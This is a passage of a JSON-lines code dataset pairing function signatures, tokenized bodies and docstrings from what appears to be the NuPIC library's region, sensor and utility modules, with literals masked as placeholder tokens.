{"signature": "def __constructEphemeralInstanceVars(self):", "body": "assert not hasattr(self, '<STR_LIT>')<EOL>self.ephemeral = DictObj()<EOL>self.ephemeral.logPathInput = '<STR_LIT>'<EOL>self.ephemeral.logPathOutput = '<STR_LIT>'<EOL>self.ephemeral.logPathOutputDense = '<STR_LIT>'<EOL>self.ephemeral._fpLogInput = None<EOL>self.ephemeral._fpLogOutput = None<EOL>self.ephemeral._fpLogOutputDense = None<EOL>return<EOL>", "docstring": "Initialize ephemeral instance variables (those that aren't serialized)", "id": "f17625:c1:m1"}
{"signature": "def initialize(self):", "body": "self.identityPolicy.initialize(self)<EOL>_debugOut(self.identityPolicy.getName())<EOL>", "docstring": "Called by network after all links have been set up", "id": "f17625:c1:m2"}
{"signature": "def compute(self, inputs, outputs):", "body": "<EOL>self.identityPolicy.compute(inputs, outputs)<EOL>_debugOut((\"<STR_LIT>\") %(self.identityPolicy.getName(),inputs, outputs))<EOL>return<EOL>", "docstring": "Run one iteration of the region's compute.\n\nThe guts of the compute are contained in the _compute() call so that\nwe can profile it if requested.", "id": "f17625:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def getSpec(cls):<DEDENT>", "body": "spec = dict(<EOL>description=\"<STR_LIT>\",<EOL>singleNodeOnly=True,<EOL>inputs=dict(<EOL>bottomUpIn=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=False,<EOL>regionLevel=True,<EOL>isDefaultInput=True,<EOL>requireSplitterMap=False),<EOL>topDownIn=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required = False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>),<EOL>outputs=dict(<EOL>bottomUpOut=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=True),<EOL>topDownOut=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>),<EOL>parameters=dict(<EOL>logPathInput=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>logPathOutput=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>logPathOutputDense=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>breakPdb=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>breakKomodo=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>),<EOL>commands=dict(<EOL>setIdentityPolicyInstance=dict(description=<EOL>\"<STR_LIT>\" +\"<STR_LIT>\" +\"<STR_LIT>\"),<EOL>getIdentityPolicyInstance=dict(description=<EOL>\"<STR_LIT>\" +\"<STR_LIT>\" +\"<STR_LIT>\"),<EOL>)<EOL>)<EOL>return spec<EOL>", "docstring": "Return the base Spec for TestRegion.", "id": "f17625:c1:m7"}
{"signature": "def getParameter(self, parameterName, index=-<NUM_LIT:1>):", "body": "assert not (parameterName in self.__dict__ and parameterName in self.ephemeral)<EOL>if parameterName in self.ephemeral:<EOL><INDENT>assert parameterName not in self.__dict__<EOL>return self.ephemeral[parameterName]<EOL><DEDENT>else:<EOL><INDENT>return super(PyRegion, self).getParameter(parameterName, index)<EOL><DEDENT>", "docstring": "Get the value of a NodeSpec parameter. Most parameters are handled\nautomatically by PyRegion's parameter get mechanism. The ones that need\nspecial treatment are explicitly handled here.", "id": "f17625:c1:m8"}
{"signature": "def setParameter(self, parameterName, index, parameterValue):", "body": "assert not (parameterName in self.__dict__ and parameterName in self.ephemeral)<EOL>if parameterName in self.ephemeral:<EOL><INDENT>if parameterName == \"<STR_LIT>\":<EOL><INDENT>self.ephemeral.logPathInput = parameterValue<EOL>if self.ephemeral._fpLogInput:<EOL><INDENT>self.ephemeral._fpLogInput.close()<EOL>self.ephemeral._fpLogInput = None<EOL><DEDENT>if parameterValue:<EOL><INDENT>self.ephemeral._fpLogInput = open(self.ephemeral.logPathInput, '<STR_LIT:w>')<EOL><DEDENT><DEDENT>elif parameterName == \"<STR_LIT>\":<EOL><INDENT>self.ephemeral.logPathOutput = parameterValue<EOL>if self.ephemeral._fpLogOutput:<EOL><INDENT>self.ephemeral._fpLogOutput.close()<EOL>self.ephemeral._fpLogOutput = None<EOL><DEDENT>if parameterValue:<EOL><INDENT>self.ephemeral._fpLogOutput = open(self.ephemeral.logPathOutput, '<STR_LIT:w>')<EOL><DEDENT><DEDENT>elif parameterName == \"<STR_LIT>\":<EOL><INDENT>self.ephemeral.logPathOutputDense = parameterValue<EOL>if self.ephemeral._fpLogOutputDense:<EOL><INDENT>self.ephemeral._fpLogOutputDense.close()<EOL>self.ephemeral._fpLogOutputDense = None<EOL><DEDENT>if parameterValue:<EOL><INDENT>self.ephemeral._fpLogOutputDense = open(self.ephemeral.logPathOutputDense, '<STR_LIT:w>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' + parameterName)<EOL><DEDENT>return<EOL>", "docstring": "Set the value of a Spec parameter. Most parameters are handled\nautomatically by PyRegion's parameter set mechanism. The ones that need\nspecial treatment are explicitly handled here.", "id": "f17625:c1:m9"}
{"signature": "def setIdentityPolicyInstance(self, identityPolicyObj):", "body": "assert not self.identityPolicy<EOL>assert isinstance(identityPolicyObj, RegionIdentityPolicyBase)<EOL>self.identityPolicy = identityPolicyObj<EOL>return<EOL>", "docstring": "TestRegion command that sets identity policy instance.  The instance\n        MUST be derived from TestRegion's RegionIdentityPolicyBase class.\n\n        Users MUST set the identity instance BEFORE running the network\n\n        Exception: AssertionError if identity policy instance has already been set\n                   or if the passed-in instance is not derived from\n                   RegionIdentityPolicyBase.", "id": "f17625:c1:m10"}
{"signature": "def getIdentityPolicyInstance(self):", "body": "assert self.identityPolicy<EOL>return self.identityPolicy<EOL>", "docstring": "TestRegion command that returns the identity policy instance that was\n        associated with this TestRegion instance via setIdentityPolicyInstance().\n\n        Returns: a RegionIdentityPolicyBase-based instance that was associated with\n                 this TestRegion intstance.\n\n        Exception: AssertionError if no identity policy instance has been set.", "id": "f17625:c1:m11"}
{"signature": "def write(self, proto):", "body": "proto.breakPdb = self.breakPdb<EOL>proto.breakKomodo = self.breakKomodo<EOL>", "docstring": "Save the region's state.\n\n        The ephemerals and identity policy are excluded from the saved state.\n\n        :param proto: an instance of TestRegionProto to serialize", "id": "f17625:c1:m13"}
{"signature": "def read(self, proto):", "body": "self.breakPdb = proto.breakPdb<EOL>self.breakKomodo = proto.breakKomodo<EOL>self.__constructEphemeralInstanceVars()<EOL>", "docstring": "Load the state from the given proto instance.\n\n        The saved state does not include the identity policy so this must be\n        constructed and set after the region is deserialized. This can be done by\n        calling 'setIdentityPolicyInstance'.\n\n        :param proto: an instance of TestRegionProto to load state from", "id": "f17625:c1:m14"}
{"signature": "def __getstate__(self):", "body": "state = self.__dict__.copy()<EOL>state.pop('<STR_LIT>')<EOL>return state<EOL>", "docstring": "Return serializable state.  This function will return a version of the\n__dict__ with all \"ephemeral\" members stripped out.  \"Ephemeral\" members\nare defined as those that do not need to be (nor should be) stored\nin any kind of persistent file (e.g., NuPIC network XML file.)", "id": "f17625:c1:m15"}
{"signature": "def __setstate__(self, state):", "body": "assert '<STR_LIT>' not in state<EOL>self.__dict__.update(state)<EOL>self.__constructEphemeralInstanceVars()<EOL>return<EOL>", "docstring": "Set the state of ourself from a serialized state.", "id": "f17625:c1:m16"}
{"signature": "def rewind(self):", "body": "self._iterNum = <NUM_LIT:0><EOL>if self.dataSource is not None:<EOL><INDENT>self.dataSource.rewind()<EOL><DEDENT>", "docstring": "Reset the sensor to beginning of data.", "id": "f17628:c0:m4"}
{"signature": "def getNextRecord(self):", "body": "allFiltersHaveEnoughData = False<EOL>while not allFiltersHaveEnoughData:<EOL><INDENT>data = self.dataSource.getNextRecordDict()<EOL>if not data:<EOL><INDENT>raise StopIteration(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" not in data:<EOL><INDENT>data[\"<STR_LIT>\"] = <NUM_LIT:0><EOL><DEDENT>if \"<STR_LIT>\" not in data:<EOL><INDENT>data[\"<STR_LIT>\"] = <NUM_LIT:0><EOL><DEDENT>if \"<STR_LIT>\" not in data:<EOL><INDENT>data[\"<STR_LIT>\"] = [None]<EOL><DEDENT>data, allFiltersHaveEnoughData = self.applyFilters(data)<EOL><DEDENT>self.lastRecord = data<EOL>return data<EOL>", "docstring": "Get the next record to encode. Includes getting a record from the \n`dataSource` and applying filters. If the filters request more data from the \n`dataSource` continue to get data from the `dataSource` until all filters \nare satisfied. This method is separate from :meth:`.RecordSensor.compute` so that we can \nuse a standalone :class:`.RecordSensor` to get filtered data.", "id": "f17628:c0:m5"}
{"signature": "def applyFilters(self, data):", "body": "if self.verbosity > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % data)<EOL><DEDENT>allFiltersHaveEnoughData = True<EOL>if len(self.preEncodingFilters) > <NUM_LIT:0>:<EOL><INDENT>originalReset = data['<STR_LIT>']<EOL>actualReset = originalReset<EOL>for f in self.preEncodingFilters:<EOL><INDENT>filterHasEnoughData = f.process(data)<EOL>allFiltersHaveEnoughData = (allFiltersHaveEnoughData<EOL>and filterHasEnoughData)<EOL>actualReset = actualReset or data['<STR_LIT>']<EOL>data['<STR_LIT>'] = originalReset<EOL><DEDENT>data['<STR_LIT>'] = actualReset<EOL><DEDENT>return data, allFiltersHaveEnoughData<EOL>", "docstring": "Apply pre-encoding filters. These filters may modify or add data. If a \nfilter needs another record (e.g. a delta filter) it will request another \nrecord by returning False and the current record will be skipped (but will \nstill be given to all filters).\n\nWe have to be very careful about resets. A filter may add a reset,\nbut other filters should not see the added reset, each filter sees\nthe original reset value, and we keep track of whether any filter\nadds a reset.\n\n:param data: (dict) The data that will be processed by the filter.\n:returns: (tuple) with the data processed by the filter and a boolean to\n          know whether or not the filter needs mode data.", "id": "f17628:c0:m6"}
{"signature": "def populateCategoriesOut(self, categories, output):", "body": "if categories[<NUM_LIT:0>] is None:<EOL><INDENT>output[:] = -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>for i, cat in enumerate(categories[:len(output)]):<EOL><INDENT>output[i] = cat<EOL><DEDENT>output[len(categories):] = -<NUM_LIT:1><EOL><DEDENT>", "docstring": "Populate the output array with the category indices.\n\n.. note:: Non-categories are represented with ``-1``.\n\n:param categories: (list) of category strings\n:param output: (list) category output, will be overwritten", "id": "f17628:c0:m7"}
{"signature": "def compute(self, inputs, outputs):", "body": "if not self.topDownMode:<EOL><INDENT>data = self.getNextRecord()<EOL>reset = data[\"<STR_LIT>\"]<EOL>sequenceId = data[\"<STR_LIT>\"]<EOL>categories = data[\"<STR_LIT>\"]<EOL>self.encoder.encodeIntoArray(data, outputs[\"<STR_LIT>\"])<EOL>if self.predictedField is not None and self.predictedField != \"<STR_LIT>\":<EOL><INDENT>allEncoders = list(self.encoder.encoders)<EOL>if self.disabledEncoder is not None:<EOL><INDENT>allEncoders.extend(self.disabledEncoder.encoders)<EOL><DEDENT>encoders = [e for e in allEncoders<EOL>if e[<NUM_LIT:0>] == self.predictedField]<EOL>if len(encoders) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % self.predictedField)<EOL><DEDENT>else:<EOL><INDENT>encoder = encoders[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>actualValue = data[self.predictedField]<EOL>outputs[\"<STR_LIT>\"][:] = encoder.getBucketIndices(actualValue)<EOL>if isinstance(actualValue, str):<EOL><INDENT>outputs[\"<STR_LIT>\"][:] = encoder.getBucketIndices(actualValue)<EOL><DEDENT>else:<EOL><INDENT>outputs[\"<STR_LIT>\"][:] = actualValue<EOL><DEDENT><DEDENT>outputs[\"<STR_LIT>\"][:] = self.encoder.getScalars(data)<EOL>self._outputValues[\"<STR_LIT>\"] = self.encoder.getEncodedValues(data)<EOL>encoders = self.encoder.getEncoderList()<EOL>prevOffset = <NUM_LIT:0><EOL>sourceEncodings = []<EOL>bitData = outputs[\"<STR_LIT>\"]<EOL>for encoder in encoders:<EOL><INDENT>nextOffset = prevOffset + encoder.getWidth()<EOL>sourceEncodings.append(bitData[prevOffset:nextOffset])<EOL>prevOffset = nextOffset<EOL><DEDENT>self._outputValues['<STR_LIT>'] = sourceEncodings<EOL>for filter in self.postEncodingFilters:<EOL><INDENT>filter.process(encoder=self.encoder, data=outputs['<STR_LIT>'])<EOL><DEDENT>outputs['<STR_LIT>'][<NUM_LIT:0>] = reset<EOL>outputs['<STR_LIT>'][<NUM_LIT:0>] = sequenceId<EOL>self.populateCategoriesOut(categories, outputs['<STR_LIT>'])<EOL>if self.verbosity >= <NUM_LIT:1>:<EOL><INDENT>if self._iterNum == <NUM_LIT:0>:<EOL><INDENT>self.encoder.pprintHeader(prefix=\"<STR_LIT>\")<EOL><DEDENT>if reset:<EOL><INDENT>print(\"<STR_LIT>\" % sequenceId)<EOL><DEDENT>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print()<EOL><DEDENT><DEDENT>if self.verbosity >= <NUM_LIT:1>:<EOL><INDENT>self.encoder.pprint(outputs[\"<STR_LIT>\"], prefix=\"<STR_LIT>\" % (self._iterNum))<EOL>scalarValues = self.encoder.getScalars(data)<EOL>nz = outputs[\"<STR_LIT>\"].nonzero()[<NUM_LIT:0>]<EOL>print(\"<STR_LIT>\" % (len(nz)), nz)<EOL>print(\"<STR_LIT>\", self.encoder.scalarsToStr(scalarValues))<EOL><DEDENT>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\", str(data))<EOL><DEDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>decoded = self.encoder.decode(outputs[\"<STR_LIT>\"])<EOL>print(\"<STR_LIT>\", self.encoder.decodedToStr(decoded))<EOL><DEDENT>self._iterNum += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>spatialTopDownIn = inputs['<STR_LIT>']<EOL>spatialTopDownOut = self.encoder.topDownCompute(spatialTopDownIn)<EOL>values = [elem.value for elem in spatialTopDownOut]<EOL>scalars = [elem.scalar for elem in spatialTopDownOut]<EOL>encodings = [elem.encoding for elem in spatialTopDownOut]<EOL>self._outputValues['<STR_LIT>'] = values<EOL>outputs['<STR_LIT>'][:] = numpy.array(scalars)<EOL>self._outputValues['<STR_LIT>'] = encodings<EOL>temporalTopDownIn = inputs['<STR_LIT>']<EOL>temporalTopDownOut = self.encoder.topDownCompute(temporalTopDownIn)<EOL>values = [elem.value for elem in temporalTopDownOut]<EOL>scalars = [elem.scalar for elem in temporalTopDownOut]<EOL>encodings = [elem.encoding for elem in temporalTopDownOut]<EOL>self._outputValues['<STR_LIT>'] = values<EOL>outputs['<STR_LIT>'][:] = numpy.array(scalars)<EOL>self._outputValues['<STR_LIT>'] = encodings<EOL>assert len(spatialTopDownOut) == len(temporalTopDownOut), (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:size>\")<EOL><DEDENT>", "docstring": "Get a record from the dataSource and encode it.\n\nOverrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.compute`.", "id": "f17628:c0:m8"}
{"signature": "def _convertNonNumericData(self, spatialOutput, temporalOutput, output):", "body": "encoders = self.encoder.getEncoderList()<EOL>types = self.encoder.getDecoderOutputFieldTypes()<EOL>for i, (encoder, type) in enumerate(zip(encoders, types)):<EOL><INDENT>spatialData = spatialOutput[i]<EOL>temporalData = temporalOutput[i]<EOL>if type != FieldMetaType.integer and type != FieldMetaType.float:<EOL><INDENT>spatialData = encoder.getScalars(spatialData)[<NUM_LIT:0>]<EOL>temporalData = encoder.getScalars(temporalData)[<NUM_LIT:0>]<EOL><DEDENT>assert isinstance(spatialData, (float, int))<EOL>assert isinstance(temporalData, (float, int))<EOL>output['<STR_LIT>'][i] = spatialData<EOL>output['<STR_LIT>'][i] = temporalData<EOL><DEDENT>", "docstring": "Converts all of the non-numeric fields from spatialOutput and temporalOutput\ninto their scalar equivalents and records them in the output dictionary.\n\n:param spatialOutput: The results of topDownCompute() for the spatial input.\n:param temporalOutput: The results of topDownCompute() for the temporal\n  input.\n:param output: The main dictionary of outputs passed to compute(). It is\n  expected to have keys 'spatialTopDownOut' and 'temporalTopDownOut' that\n  are mapped to numpy arrays.", "id": "f17628:c0:m9"}
{"signature": "def getOutputValues(self, outputName):", "body": "return self._outputValues[outputName]<EOL>", "docstring": ".. note:: These are normal Python lists, rather than numpy arrays. This is \n          to support lists with mixed scalars and strings, as in the case of \n          records with categorical variables.\n\n:returns: (dict) output values.", "id": "f17628:c0:m10"}
{"signature": "def getOutputElementCount(self, name):", "body": "if name == \"<STR_LIT>\":<EOL><INDENT>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>if self.encoder is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return self.encoder.getWidth()<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>if self.encoder is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return len(self.encoder.getDescription())<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.numCategories<EOL><DEDENT>elif name == '<STR_LIT>' or name == '<STR_LIT>':<EOL><INDENT>if self.encoder is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return len(self.encoder.getDescription())<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % name)<EOL><DEDENT>", "docstring": "Computes the width of dataOut.\n\nOverrides \n:meth:`nupic.bindings.regions.PyRegion.PyRegion.getOutputElementCount`.", "id": "f17628:c0:m11"}
{"signature": "def setParameter(self, parameterName, index, parameterValue):", "body": "if parameterName == '<STR_LIT>':<EOL><INDENT>self.topDownMode = parameterValue<EOL><DEDENT>elif parameterName == '<STR_LIT>':<EOL><INDENT>self.predictedField = parameterValue<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' + parameterName)<EOL><DEDENT>", "docstring": "Set the value of a Spec parameter. Most parameters are handled\nautomatically by PyRegion's parameter set mechanism. The ones that need\nspecial treatment are explicitly handled here.", "id": "f17628:c0:m12"}
{"signature": "@staticmethod<EOL><INDENT>def getSchema():<DEDENT>", "body": "return RecordSensorProto<EOL>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getSchema`.", "id": "f17628:c0:m13"}
{"signature": "def writeToProto(self, proto):", "body": "self.encoder.write(proto.encoder)<EOL>if self.disabledEncoder is not None:<EOL><INDENT>self.disabledEncoder.write(proto.disabledEncoder)<EOL><DEDENT>proto.topDownMode = int(self.topDownMode)<EOL>proto.verbosity = self.verbosity<EOL>proto.numCategories = self.numCategories<EOL>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.writeToProto`.", "id": "f17628:c0:m14"}
{"signature": "@classmethod<EOL><INDENT>def readFromProto(cls, proto):<DEDENT>", "body": "instance = cls()<EOL>instance.encoder = MultiEncoder.read(proto.encoder)<EOL>if proto.disabledEncoder is not None:<EOL><INDENT>instance.disabledEncoder = MultiEncoder.read(proto.disabledEncoder)<EOL><DEDENT>instance.topDownMode = bool(proto.topDownMode)<EOL>instance.verbosity = proto.verbosity<EOL>instance.numCategories = proto.numCategories<EOL>return instance<EOL>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.readFromProto`.", "id": "f17628:c0:m15"}
{"signature": "def getSensedValue(self):", "body": "return self._sensedValue<EOL>", "docstring": ":return: sensed value", "id": "f17629:c0:m5"}
{"signature": "def setSensedValue(self, value):", "body": "self._sensedValue = value<EOL>", "docstring": ":param value: will be encoded when this region does a compute.", "id": "f17629:c0:m6"}
{"signature": "def retrySQL(timeoutSec=<NUM_LIT>*<NUM_LIT:5>, logger=None):", "body": "if logger is None:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL><DEDENT>def retryFilter(e, args, kwargs):<EOL><INDENT>if isinstance(e, (pymysql.InternalError, pymysql.OperationalError)):<EOL><INDENT>if e.args and e.args[<NUM_LIT:0>] in _ALL_RETRIABLE_ERROR_CODES:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>elif isinstance(e, pymysql.Error):<EOL><INDENT>if (e.args and<EOL>inspect.isclass(e.args[<NUM_LIT:0>]) and issubclass(e.args[<NUM_LIT:0>], socket_error)):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL><DEDENT>retryExceptions = tuple([<EOL>pymysql.InternalError,<EOL>pymysql.OperationalError,<EOL>pymysql.Error,<EOL>])<EOL>return make_retry_decorator(<EOL>timeoutSec=timeoutSec, initialRetryDelaySec=<NUM_LIT:0.1>, maxRetryDelaySec=<NUM_LIT:10>,<EOL>retryExceptions=retryExceptions, retryFilter=retryFilter,<EOL>logger=logger)<EOL>", "docstring": "Return a closure suitable for use as a decorator for\n    retrying a pymysql DAO function on certain failures that warrant retries (\n    e.g., RDS/MySQL server down temporarily, transaction deadlock, etc.).\n    We share this function across multiple scripts (e.g., ClientJobsDAO,\n    StreamMgr) for consitent behavior.\n\n    .. note:: Please ensure that the operation being retried is idempotent.\n\n    .. note:: logging must be initialized *before* any loggers are created, else\n       there will be no output; see nupic.support.initLogging()\n\n    Usage Example:\n\n    .. code-block:: python\n\n      @retrySQL()\n      def jobInfo(self, jobID):\n          ...\n\n    :param timeoutSec:       How many seconds from time of initial call to stop retrying\n                       (floating point)\n    :param logger:           User-supplied logger instance.", "id": "f17630:m0"}
{"signature": "def cPrint(self, level, message, *args, **kw):", "body": "if level > self.consolePrinterVerbosity:<EOL><INDENT>return<EOL><DEDENT>if len(kw) > <NUM_LIT:1>:<EOL><INDENT>raise KeyError(\"<STR_LIT>\" % str(list(kw.keys())))<EOL><DEDENT>newline = kw.get(\"<STR_LIT>\", True)<EOL>if len(kw) == <NUM_LIT:1> and '<STR_LIT>' not in kw:<EOL><INDENT>raise KeyError(\"<STR_LIT>\" % list(kw.keys())[<NUM_LIT:0>])<EOL><DEDENT>if len(args) == <NUM_LIT:0>:<EOL><INDENT>if newline:<EOL><INDENT>print(message)<EOL><DEDENT>else:<EOL><INDENT>print(message, end='<STR_LIT:U+0020>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if newline:<EOL><INDENT>print(message % args)<EOL><DEDENT>else:<EOL><INDENT>print(message % args, end='<STR_LIT:U+0020>')<EOL><DEDENT><DEDENT>", "docstring": "Print a message to the console.\n\n        Prints only if level <= self.consolePrinterVerbosity\n        Printing with level 0 is equivalent to using a print statement,\n        and should normally be avoided.\n\n        :param level: (int) indicating the urgency of the message with\n               lower values meaning more urgent (messages at level 0  are the most\n               urgent and are always printed)\n\n        :param message: (string) possibly with format specifiers\n\n        :param args: specifies the values for any format specifiers in message\n\n        :param kw: newline is the only keyword argument. True (default) if a newline\n               should be printed", "id": "f17631:c0:m1"}
{"signature": "def _allow_new_attributes(f):", "body": "def decorated(self, *args, **kw):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.__dict__['<STR_LIT>'] = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self._canAddAttributes += <NUM_LIT:1><EOL><DEDENT>assert self._canAddAttributes >= <NUM_LIT:1><EOL>count = self._canAddAttributes<EOL>f(self, *args, **kw)<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._canAddAttributes -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self._canAddAttributes = count - <NUM_LIT:1><EOL><DEDENT>assert self._canAddAttributes >= <NUM_LIT:0><EOL>if self._canAddAttributes == <NUM_LIT:0>:<EOL><INDENT>del self._canAddAttributes<EOL><DEDENT><DEDENT>decorated.__doc__ = f.__doc__<EOL>decorated.__name__ = f.__name__<EOL>return decorated<EOL>", "docstring": "A decorator that maintains the attribute lock state of an object\n\n    It coperates with the LockAttributesMetaclass (see bellow) that replaces\n    the __setattr__ method with a custom one that checks the _canAddAttributes\n    counter and allows setting new attributes only if _canAddAttributes > 0.\n\n    New attributes can be set only from methods decorated\n    with this decorator (should be only __init__ and __setstate__ normally)\n\n    The decorator is reentrant (e.g. if from inside a decorated function another\n    decorated function is invoked). Before invoking the target function it\n    increments the counter (or sets it to 1). After invoking the target function\n    it decrements the counter and if it's 0 it removed the counter.", "id": "f17632:m0"}
{"signature": "def _simple_init(self, *args, **kw):", "body": "type(self).__base__.__init__(self, *args, **kw)<EOL>", "docstring": "trivial init method that just calls base class's __init__()\n\n    This method is attached to classes that don't define __init__(). It is needed\n    because LockAttributesMetaclass must decorate the __init__() method of\n    its target class.", "id": "f17632:m1"}
{"signature": "def Enum(*args, **kwargs):", "body": "def getLabel(cls, val):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return cls.__labels[val]<EOL><DEDENT>def validate(cls, val):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return val in cls.__values<EOL><DEDENT>def getValues(cls):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return list(cls.__values)<EOL><DEDENT>def getLabels(cls):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return list(cls.__labels.values())<EOL><DEDENT>def getValue(cls, label):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return cls.__labels[label]<EOL><DEDENT>for arg in list(args)+kwargs.keys():<EOL><INDENT>if type(arg) is not str:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(arg))<EOL><DEDENT>if not __isidentifier(arg):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"\"<STR_LIT>\".format(arg))<EOL><DEDENT><DEDENT>kwargs.update(zip(args, args))<EOL>newType = type(\"<STR_LIT>\", (object,), kwargs)<EOL>newType.__labels = dict( (v,k) for k,v in kwargs.iteritems())<EOL>newType.__values = set(newType.__labels.keys())<EOL>newType.getLabel = functools.partial(getLabel, newType)<EOL>newType.validate = functools.partial(validate, newType)<EOL>newType.getValues = functools.partial(getValues, newType)<EOL>newType.getLabels = functools.partial(getLabels, newType)<EOL>newType.getValue = functools.partial(getValue, newType)<EOL>return newType<EOL>", "docstring": "Utility function for creating enumerations in python\n\nExample Usage:\n  >> Color = Enum(\"Red\", \"Green\", \"Blue\", \"Magenta\")\n  >> print Color.Red\n  >> 0\n  >> print Color.Green\n  >> 1\n  >> print Color.Blue\n  >> 2\n  >> print Color.Magenta\n  >> 3\n  >> Color.Violet\n  >> 'violet'\n  >> Color.getLabel(Color.Red)\n  >> 'Red'\n  >> Color.getLabel(2)\n  >> 'Blue'", "id": "f17633:m1"}
{"signature": "def groupby2(*args):", "body": "generatorList = [] <EOL>if len(args) % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>advanceList = []<EOL>for i in xrange(<NUM_LIT:0>, len(args), <NUM_LIT:2>):<EOL><INDENT>listn = args[i]<EOL>fn = args[i + <NUM_LIT:1>]<EOL>if listn is not None:<EOL><INDENT>generatorList.append(groupby(listn, fn))<EOL>advanceList.append(True) <EOL><DEDENT>else:<EOL><INDENT>generatorList.append(None)<EOL>advanceList.append(False)<EOL><DEDENT><DEDENT>n = len(generatorList)<EOL>nextList = [None] * n<EOL>while True:<EOL><INDENT>for i in xrange(n):<EOL><INDENT>if advanceList[i]:<EOL><INDENT>try:<EOL><INDENT>nextList[i] = generatorList[i].next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>nextList[i] = None<EOL><DEDENT><DEDENT><DEDENT>if all(entry is None for entry in nextList):<EOL><INDENT>break<EOL><DEDENT>minKeyVal = min(nextVal[<NUM_LIT:0>] for nextVal in nextList<EOL>if nextVal is not None)<EOL>retGroups = [minKeyVal]<EOL>for i in xrange(n):<EOL><INDENT>if nextList[i] is not None and nextList[i][<NUM_LIT:0>] == 